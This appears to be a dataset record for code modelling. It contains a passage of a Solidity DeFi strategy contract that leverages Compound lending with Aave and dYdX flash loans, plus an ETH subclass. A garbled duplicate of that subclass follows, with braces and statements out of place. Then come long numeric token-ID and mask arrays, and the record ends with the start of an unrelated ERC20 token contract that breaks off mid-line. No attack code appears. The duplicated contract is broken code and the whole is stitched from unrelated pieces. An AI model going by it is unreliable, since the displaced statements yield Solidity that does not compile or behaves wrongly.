uint256 _maxBorrowRatio) external onlyGovernor { (, uint256 _collateralFactor, ) = comptroller.markets(address(cToken)); require(_maxBorrowRatio < (_collateralFactor / 1e14), "invalid-max-borrow-limit"); require(_maxBorrowRatio > _minBorrowRatio, "max-should-be-higher-than-min"); emit UpdatedBorrowRatio(minBorrowRatio, _minBorrowRatio, maxBorrowRatio, _maxBorrowRatio); minBorrowRatio = _minBorrowRatio; maxBorrowRatio = _maxBorrowRatio; } function updateAaveStatus(bool _status) external onlyGovernor { _updateAaveStatus(_status); } function updateDyDxStatus(bool _status) external virtual onlyGovernor { _updateDyDxStatus(_status, address(collateralToken)); } /** * @notice Calculate total value based on rewardToken claimed, supply and borrow position * @dev Report total value in collateral token * @dev Claimed rewardToken will stay in strategy until next rebalance */ function totalValueCurrent() public override returns (uint256 _totalValue) { cToken.exchangeRateCurrent(); _claimRewards(); _totalValue = _calculateTotalValue(IERC20(rewardToken).balanceOf(address(this))); } /** * @notice Current borrow ratio, calculated as current borrow divide by max allowed borrow * Return value is based on basis points, i.e. 7500 = 75% ratio */ function currentBorrowRatio() external view returns (uint256) { (uint256 _supply, uint256 _borrow) = getPosition(); return _borrow == 0 ? 0 : (_borrow * MAX_BPS) / _supply; } /** * @notice Calculate total value using rewardToken accrued, supply and borrow position * @dev Compound calculate rewardToken accrued and store it when user interact with * Compound contracts, i.e. deposit, withdraw or transfer tokens. * So compAccrued() will return stored rewardToken accrued amount, which is older * @dev For up to date value check totalValueCurrent() */ function totalValue() public view virtual override returns (uint256 _totalValue) { _totalValue = _calculateTotalValue(_getRewardAccrued()); } /** * @notice Calculate current position using claimed rewardToken and current borrow. */ function isLossMaking() external returns (bool) { // It's loss making if _totalValue < totalDebt return totalValueCurrent() < IVesperPool(pool).totalDebtOf(address(this)); } function isReservedToken(address _token) public view virtual override returns (bool) { return _token == address(cToken) || _token == rewardToken || _token == address(collateralToken); } /// @notice Return supply and borrow position. Position may return few block old value function getPosition() public view returns (uint256 _supply, uint256 _borrow) { (, uint256 _cTokenBalance, uint256 _borrowBalance, uint256 _exchangeRate) = cToken.getAccountSnapshot(address(this)); _supply = (_cTokenBalance * _exchangeRate) / 1e18; _borrow = _borrowBalance; } /// @notice Approve all required tokens function _approveToken(uint256 _amount) internal virtual override { collateralToken.safeApprove(pool, _amount); collateralToken.safeApprove(address(cToken), _amount); for (uint256 i = 0; i < swapManager.N_DEX(); i++) { IERC20(rewardToken).safeApprove(address(swapManager.ROUTERS(i)), _amount); } FlashLoanHelper._approveToken(address(collateralToken), _amount); } /** * @notice Claim rewardToken and transfer to new strategy * @param _newStrategy Address of new strategy. */ function _beforeMigration(address _newStrategy) internal virtual override { require(IStrategy(_newStrategy).token() == address(cToken), "wrong-receipt-token"); minBorrowRatio = 0; // It will calculate amount to repay based on borrow limit and payback all _reinvest(); } /** * @notice Calculate borrow position based on borrow ratio, current supply, borrow, amount * being deposited or withdrawn. * @param _amount Collateral amount * @param _isDeposit Flag indicating whether we are depositing _amount or withdrawing * @return _position Amount of borrow that need to be adjusted * @return _shouldRepay Flag indicating whether _position is borrow amount or repay amount */ function _calculateDesiredPosition(uint256 _amount, bool _isDeposit) internal returns (uint256 _position, bool _shouldRepay) { uint256 _totalSupply = cToken.balanceOfUnderlying(address(this)); uint256 _currentBorrow = cToken.borrowBalanceStored(address(this)); // If minimum borrow limit set to 0 then repay borrow if (minBorrowRatio == 0) { return (_currentBorrow, true); } uint256 _supply = _totalSupply - _currentBorrow; // In case of withdraw, _amount can be greater than _supply uint256 _newSupply = _isDeposit ? _supply + _amount : _supply > _amount ? _supply - _amount : 0; // (supply * borrowRatio)/(BPS - borrowRatio) uint256 _borrowUpperBound = (_newSupply * maxBorrowRatio) / (MAX_BPS - maxBorrowRatio); uint256 _borrowLowerBound = (_newSupply * minBorrowRatio) / (MAX_BPS - minBorrowRatio); // If our current borrow is greater than max borrow allowed, then we will have to repay // some to achieve safe position else borrow more. if (_currentBorrow > _borrowUpperBound) { _shouldRepay = true; // If borrow > upperBound then it is greater than lowerBound too. _position = _currentBorrow - _borrowLowerBound; } else if (_currentBorrow < _borrowLowerBound) { _shouldRepay = false; // We can borrow more. _position = _borrowLowerBound - _currentBorrow; } } /// @notice Get main Rewards accrued function _getRewardAccrued() internal view virtual returns (uint256 _rewardAccrued) { _rewardAccrued = comptroller.compAccrued(address(this)); } /** * @dev rewardToken is converted to collateral and if we have some borrow interest to pay, * it will go come from collateral. * @dev Report total value in collateral token */ function _calculateTotalValue(uint256 _rewardAccrued) internal view returns (uint256 _totalValue) { uint256 _compAsCollateral; if (_rewardAccrued != 0) { (, _compAsCollateral, ) = swapManager.bestOutputFixedInput( rewardToken, address(collateralToken), _rewardAccrued ); } (uint256 _supply, uint256 _borrow) = getPosition(); _totalValue = _compAsCollateral + collateralToken.balanceOf(address(this)) + _supply - _borrow; } /// @notice Claim comp function _claimRewards() internal virtual { address[] memory _markets = new address[](1); _markets[0] = address(cToken); comptroller.claimComp(address(this), _markets); } /// @notice Claim rewardToken and convert rewardToken into collateral token. function _claimRewardsAndConvertTo(address _toToken) internal override { _claimRewards(); uint256 _rewardAmount = IERC20(rewardToken).balanceOf(address(this)); if (_rewardAmount != 0) { _safeSwap(rewardToken, _toToken, _rewardAmount); } } /** * @notice Generate report for pools accounting and also send profit and any payback to pool. * @dev Claim rewardToken and convert to collateral. */ function _generateReport() internal override returns ( uint256 _profit, uint256 _loss, uint256 _payback ) { uint256 _excessDebt = IVesperPool(pool).excessDebt(address(this)); (, , , , uint256 _totalDebt, , , uint256 _debtRatio) = IVesperPool(pool).strategy(address(this)); // Claim rewardToken and convert to collateral token _claimRewardsAndConvertTo(address(collateralToken)); uint256 _supply = cToken.balanceOfUnderlying(address(this)); uint256 _borrow = cToken.borrowBalanceStored(address(this)); uint256 _investedCollateral = _supply - _borrow; uint256 _collateralHere = collateralToken.balanceOf(address(this)); uint256 _totalCollateral = _investedCollateral + _collateralHere; uint256 _profitToWithdraw; if (_totalCollateral > _totalDebt) { _profit = _totalCollateral - _totalDebt; if (_collateralHere <= _profit) { _profitToWithdraw = _profit - _collateralHere; } else if (_collateralHere >= (_profit + _excessDebt)) { _payback = _excessDebt; } else { // _profit < CollateralHere < _profit + _excessDebt _payback = _collateralHere - _profit; } } else { _loss = _totalDebt - _totalCollateral; } uint256 _paybackToWithdraw = _excessDebt - _payback; uint256 _totalAmountToWithdraw = _paybackToWithdraw + _profitToWithdraw; if (_totalAmountToWithdraw != 0) { uint256 _withdrawn = _withdrawHere(_totalAmountToWithdraw); // Any amount withdrawn over _profitToWithdraw is payback for pool if (_withdrawn > _profitToWithdraw) { _payback += (_withdrawn - _profitToWithdraw); } } // Handle scenario if debtRatio is zero and some supply left. // Remaining tokens, after payback withdrawal, are profit (_supply, _borrow) = getPosition(); if (_debtRatio == 0 && _supply != 0 && _borrow == 0) { // This will redeem all cTokens this strategy has _redeemUnderlying(MAX_UINT_VALUE); _profit += _supply; } } /** * Adjust position by normal leverage and deleverage. * @param _adjustBy Amount by which we want to increase or decrease _borrow * @param _shouldRepay True indicate we want to deleverage * @return amount Actual adjusted amount */ function _adjustPosition(uint256 _adjustBy, bool _shouldRepay) internal returns (uint256 amount) { // We can get position via view function, as this function will be called after _calculateDesiredPosition (uint256 _supply, uint256 _borrow) = getPosition(); // If no borrow then there is nothing to deleverage if (_borrow == 0 && _shouldRepay) { return 0; } (, uint256 collateralFactor, ) = comptroller.markets(address(cToken)); if (_shouldRepay) { amount = _normalDeleverage(_adjustBy, _supply, _borrow, collateralFactor); } else { amount = _normalLeverage(_adjustBy, _supply, _borrow, collateralFactor); } } /** * Deleverage: Reduce borrow to achieve safe position * @param _maxDeleverage Reduce borrow by this amount * @return _deleveragedAmount Amount we actually reduced */ function _normalDeleverage( uint256 _maxDeleverage, uint256 _supply, uint256 _borrow, uint256 _collateralFactor ) internal returns (uint256 _deleveragedAmount) { uint256 _theoreticalSupply; if (_collateralFactor != 0) { // Calculate minimum supply required to support _borrow _theoreticalSupply = (_borrow * 1e18) / _collateralFactor; } _deleveragedAmount = _supply - _theoreticalSupply; if (_deleveragedAmount >= _borrow) { _deleveragedAmount = _borrow; } if (_deleveragedAmount >= _maxDeleverage) { _deleveragedAmount = _maxDeleverage; } _redeemUnderlying(_deleveragedAmount); _repayBorrow(_deleveragedAmount); } /** * Leverage: Borrow more * @param _maxLeverage Max amount to borrow * @return _leveragedAmount Amount we actually borrowed */ function _normalLeverage( uint256 _maxLeverage, uint256 _supply, uint256 _borrow, uint256 _collateralFactor ) internal returns (uint256 _leveragedAmount) { // Calculate maximum we can borrow at current _supply uint256 theoreticalBorrow = (_supply * _collateralFactor) / 1e18; _leveragedAmount = theoreticalBorrow - _borrow; if (_leveragedAmount >= _maxLeverage) { _leveragedAmount = _maxLeverage; } _borrowCollateral(_leveragedAmount); _mint(collateralToken.balanceOf(address(this))); } /// @notice Deposit collateral in Compound and adjust borrow position function _reinvest() internal virtual override { uint256 _collateralBalance = collateralToken.balanceOf(address(this)); (uint256 _position, bool _shouldRepay) = _calculateDesiredPosition(_collateralBalance, true); // Supply collateral to compound. _mint(_collateralBalance); // During reinvest, _shouldRepay will be false which indicate that we will borrow more. _position -= _doFlashLoan(_position, _shouldRepay); uint256 i = 0; while (_position > 0 && i <= 6) { _position -= _adjustPosition(_position, _shouldRepay); i++; } } /// @dev Withdraw collateral and transfer it to pool function _withdraw(uint256 _amount) internal override { collateralToken.safeTransfer(pool, _withdrawHere(_amount)); } /// @dev Withdraw collateral here. Do not transfer to pool function _withdrawHere(uint256 _amount) internal returns (uint256) { (uint256 _position, bool _shouldRepay) = _calculateDesiredPosition(_amount, false); if (_shouldRepay) { // Do deleverage by flash loan _position -= _doFlashLoan(_position, _shouldRepay); // If we still have _position to deleverage do it via normal deleverage uint256 i = 0; while (_position > 0 && i <= 10) { _position -= _adjustPosition(_position, true); i++; } // There may be scenario where we are not able to deleverage enough if (_position != 0) { // Calculate redeemable at current borrow and supply. (uint256 _supply, uint256 _borrow) = getPosition(); uint256 _supplyToSupportBorrow; if (maxBorrowRatio != 0) { _supplyToSupportBorrow = (_borrow * MAX_BPS) / maxBorrowRatio; } // Current supply minus supply required to support _borrow at _maxBorrowRatio uint256 _redeemable = _supply - _supplyToSupportBorrow; if (_amount > _redeemable) { _amount = _redeemable; } } } uint256 _collateralBefore = collateralToken.balanceOf(address(this)); // If we do not have enough collateral, try to get some via COMP // This scenario is rare and will happen during last withdraw if (_amount > cToken.balanceOfUnderlying(address(this))) { // Use all collateral for withdraw _collateralBefore = 0; _claimRewardsAndConvertTo(address(collateralToken)); // Updated amount _amount = _amount - collateralToken.balanceOf(address(this)); } _redeemUnderlying(_amount); uint256 _collateralAfter = collateralToken.balanceOf(address(this)); return _collateralAfter - _collateralBefore; } /** * @dev Aave flash is used only for withdrawal due to high fee compare to DyDx * @param _flashAmount Amount for flash loan * @param _shouldRepay Flag indicating we want to leverage or deleverage * @return Total amount we leverage or deleverage using flash loan */ function _doFlashLoan(uint256 _flashAmount, bool _shouldRepay) internal returns (uint256) { uint256 _totalFlashAmount; // Due to less fee DyDx is our primary flash loan provider if (isDyDxActive && _flashAmount > 0) { bytes memory _data = abi.encode(_flashAmount, _shouldRepay); _totalFlashAmount = _doDyDxFlashLoan(address(collateralToken), _flashAmount, _data); _flashAmount -= _totalFlashAmount; } if (isAaveActive && _shouldRepay && _flashAmount > 0) { bytes memory _data = abi.encode(_flashAmount, _shouldRepay); _totalFlashAmount += _doAaveFlashLoan(address(collateralToken), _flashAmount, _data); } return _totalFlashAmount; } /** * @notice This function will be called by flash loan * @dev In case of borrow, DyDx is preferred as fee is so low that it does not effect * our collateralRatio and liquidation risk. */ function _flashLoanLogic(bytes memory _data, uint256 _repayAmount) internal override { (uint256 _amount, bool _deficit) = abi.decode(_data, (uint256, bool)); uint256 _collateralHere = collateralToken.balanceOf(address(this)); require(_collateralHere >= _amount, "FLASH_FAILED"); // to stop malicious calls //if in deficit we repay amount and then withdraw if (_deficit) { _repayBorrow(_amount); //if we are withdrawing we take more to cover fee _redeemUnderlying(_repayAmount); } else { _mint(_collateralHere); //borrow more to cover fee _borrowCollateral(_repayAmount); } } /** * @dev If swap slippage is defined then use oracle to get amountOut and calculate minAmountOut */ function _safeSwap( address _tokenIn, address _tokenOut, uint256 _amountIn ) internal virtual { uint256 _minAmountOut = swapSlippage != 10000 ? _calcAmtOutAfterSlippage( ORACLE.assetToAsset(_tokenIn, _amountIn, _tokenOut, TWAP_PERIOD), swapSlippage ) : 1; _safeSwap(_tokenIn, _tokenOut, _amountIn, _minAmountOut); } //////////////////// Compound wrapper functions ////////////////////////////// /** * @dev Compound support ETH as collateral not WETH. So ETH strategy can override * below functions and handle wrap/unwrap of WETH. */ function _mint(uint256 _amount) internal virtual { require(cToken.mint(_amount) == 0, "supply-to-compound-failed"); } function _redeemUnderlying(uint256 _amount) internal virtual { if (_amount == MAX_UINT_VALUE) { // Withdraw all cTokens require(cToken.redeem(cToken.balanceOf(address(this))) == 0, "withdraw-from-compound-failed"); } else { // Withdraw underlying require(cToken.redeemUnderlying(_amount) == 0, "withdraw-from-compound-failed"); } } function _borrowCollateral(uint256 _amount) internal virtual { require(cToken.borrow(_amount) == 0, "borrow-from-compound-failed"); } function _repayBorrow(uint256 _amount) internal virtual { require(cToken.repayBorrow(_amount) == 0, "repay-to-compound-failed"); } ////////////////////////////////////////////////////////////////////////////// /* solhint-disable no-empty-blocks */ // We overridden _generateReport which eliminates need of below function. function _liquidate(uint256 _excessDebt) internal override returns (uint256 _payback) {} function _realizeProfit(uint256 _totalDebt) internal virtual override returns (uint256) {} function _realizeLoss(uint256 _totalDebt) internal view override returns (uint256 _loss) {} /* solhint-enable no-empty-blocks */ } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "./CompoundLeverageStrategy.sol"; import "../../interfaces/token/IToken.sol"; // solhint-disable no-empty-blocks /// @title Deposit ETH in Compound and earn interest. contract CompoundLeverageStrategyETH is CompoundLeverageStrategy { constructor( address _pool, address _swapManager, address _comptroller, address _rewardDistributor, address _rewardToken, address _aaveAddressesProvider, address _receiptToken, string memory _name ) CompoundLeverageStrategy( _pool, _swapManager, _comptroller, _rewardDistributor, _rewardToken, _aaveAddressesProvider, _receiptToken, _name ) {} /// @dev Only receive ETH from either cToken or WETH receive() external payable { require(msg.sender == address(cToken) || msg.sender == WETH, "not-allowed-to-send-ether"); } /// @dev Compound support ETH as collateral. Convert WETH to ETH and mint cETH function _mint(uint256 _amount) internal override { _withdrawETH(_amount); cToken.mint{value: _amount}(); } /// @dev On redeem we will receive ETH. Convert received ETH into WETH function _redeemUnderlying(uint256 _amount) internal override { super._redeemUnderlying(_amount); _depositETH(); } /// @dev On borrow we will receive ETH. Convert received ETH into WETH function _borrowCollateral(uint256 _amount) internal override { super._borrowCollateral(_amount); _depositETH(); } /// @dev Repay will take ETH. Convert WETH to ETH and call payable repay function function _repayBorrow(uint256 _amount) internal override { _withdrawETH(_amount); cToken.repayBorrow{value: _amount}(); } /// @dev Deposit ETH and get WETH in return function _depositETH() internal { TokenLike(WETH).deposit{value: address(this).balance}(); } /// @dev Withdraw ETH by burning similar amount of WETH function _withdrawETH(uint256 _amount) internal { TokenLike(WETH).withdraw(_amount); } }
solhint-disable no-empty-blocks @title Deposit ETH in Compound and earn interest.
contract CompoundLeverageStrategyETH is CompoundLeverageStrategy { constructor( address _pool, address _swapManager, address _comptroller, address _rewardDistributor, address _rewardToken, address _aaveAddressesProvider, address _receiptToken, string memory _name ) CompoundLeverageStrategy( _pool, _swapManager, _comptroller, _rewardDistributor, _rewardToken, _aaveAddressesProvider, _receiptToken, _name ) } {} receive() external payable { require(msg.sender == address(cToken) || msg.sender == WETH, "not-allowed-to-send-ether"); } function _mint(uint256 _amount) internal override { _withdrawETH(_amount); } cToken.mint{value: _amount}(); function _redeemUnderlying(uint256 _amount) internal override { super._redeemUnderlying(_amount); _depositETH(); } function _borrowCollateral(uint256 _amount) internal override { super._borrowCollateral(_amount); _depositETH(); } function _repayBorrow(uint256 _amount) internal override { _withdrawETH(_amount); } cToken.repayBorrow{value: _amount}(); function _depositETH() internal { } TokenLike(WETH).deposit{value: address(this).balance}(); function _withdrawETH(uint256 _amount) internal { TokenLike(WETH).withdraw(_amount); } }
1,539,138
[ 1, 18281, 11317, 17, 8394, 1158, 17, 5531, 17, 7996, 225, 4019, 538, 305, 512, 2455, 316, 21327, 471, 425, 1303, 16513, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 21327, 1682, 5682, 4525, 1584, 44, 353, 21327, 1682, 5682, 4525, 288, 203, 565, 3885, 12, 203, 3639, 1758, 389, 6011, 16, 203, 3639, 1758, 389, 22270, 1318, 16, 203, 3639, 1758, 389, 832, 337, 1539, 16, 203, 3639, 1758, 389, 266, 2913, 1669, 19293, 16, 203, 3639, 1758, 389, 266, 2913, 1345, 16, 203, 3639, 1758, 389, 69, 836, 7148, 2249, 16, 203, 3639, 1758, 389, 8606, 8138, 1345, 16, 203, 3639, 533, 3778, 389, 529, 203, 565, 262, 203, 3639, 21327, 1682, 5682, 4525, 12, 203, 5411, 389, 6011, 16, 203, 5411, 389, 22270, 1318, 16, 203, 5411, 389, 832, 337, 1539, 16, 203, 5411, 389, 266, 2913, 1669, 19293, 16, 203, 5411, 389, 266, 2913, 1345, 16, 203, 5411, 389, 69, 836, 7148, 2249, 16, 203, 5411, 389, 8606, 8138, 1345, 16, 203, 5411, 389, 529, 203, 3639, 262, 203, 203, 97, 203, 203, 565, 2618, 203, 565, 6798, 1435, 3903, 8843, 429, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 1758, 12, 71, 1345, 13, 747, 1234, 18, 15330, 422, 678, 1584, 44, 16, 315, 902, 17, 8151, 17, 869, 17, 4661, 17, 2437, 8863, 203, 565, 289, 203, 203, 565, 445, 389, 81, 474, 12, 11890, 5034, 389, 8949, 13, 2713, 3849, 288, 203, 3639, 389, 1918, 9446, 1584, 44, 24899, 8949, 1769, 203, 565, 289, 203, 203, 3639, 276, 1345, 18, 81, 474, 95, 1132, 30, 389, 8949, 97, 5621, 203, 565, 445, 389, 266, 24903, 14655, 6291, 12, 11890, 5034, 389, 8949, 13, 2713, 3849, 2 ]
/** *Submitted for verification at Etherscan.io on 2022-03-02 */ pragma solidity 0.8.11; // SPDX-License-Identifier: Unlicensed // https://tamanator.com/ interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; address private _firstOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; _firstOwner = _owner; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } function firstOwner() public view returns (address) { return _firstOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == 